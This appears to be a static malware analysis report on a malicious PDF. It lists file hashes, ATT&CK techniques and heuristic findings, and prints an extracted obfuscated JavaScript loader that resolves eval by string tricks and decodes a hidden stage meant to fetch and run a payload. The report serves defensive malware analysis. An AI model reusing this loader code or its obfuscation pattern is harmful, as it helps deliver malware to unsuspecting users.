Malicious PDF — malware analysis report

Static analysis result for SHA-256 783ec078b5c51d28…

MALICIOUS

PDF

44.5 KB First seen: 2012-06-14
MD5: 8577deed090d7f0798302a611bc27ce9 SHA-1: e990e8cbaef48b12db7ec8656d4c369f6a6ee67d SHA-256: 783ec078b5c51d2811f42caed7f0a6a0460a3b06b8b5fc461654ca5873a4806c
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to download and execute a second-stage payload. The script dynamically constructs a URL from concatenated strings and character codes, which is then used to fetch the next stage. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF66 447 bytes
SHA-256: 719d2a5f98d93e9d75a717daabbeee07b4e6bd15ad771ad090b79f03adbda819
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
wpvih='';
yfd=('qwrwqr','tit');
e('xpdnb=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
lly=e('String.fr'+xpdnb.substr(0,10));
dou = e(xpdnb.substr(10)['replace'](/u/g,','));
e('k=dou.length');
for (i = 0; i < k; i+=2) {
	offcz = dou[i+1] + ('erybjkerl',dou[i]);
	wpvih += lly(offcz);
}
e(wpvih);

Open this report in the interactive analyzer, or submit your own file for analysis.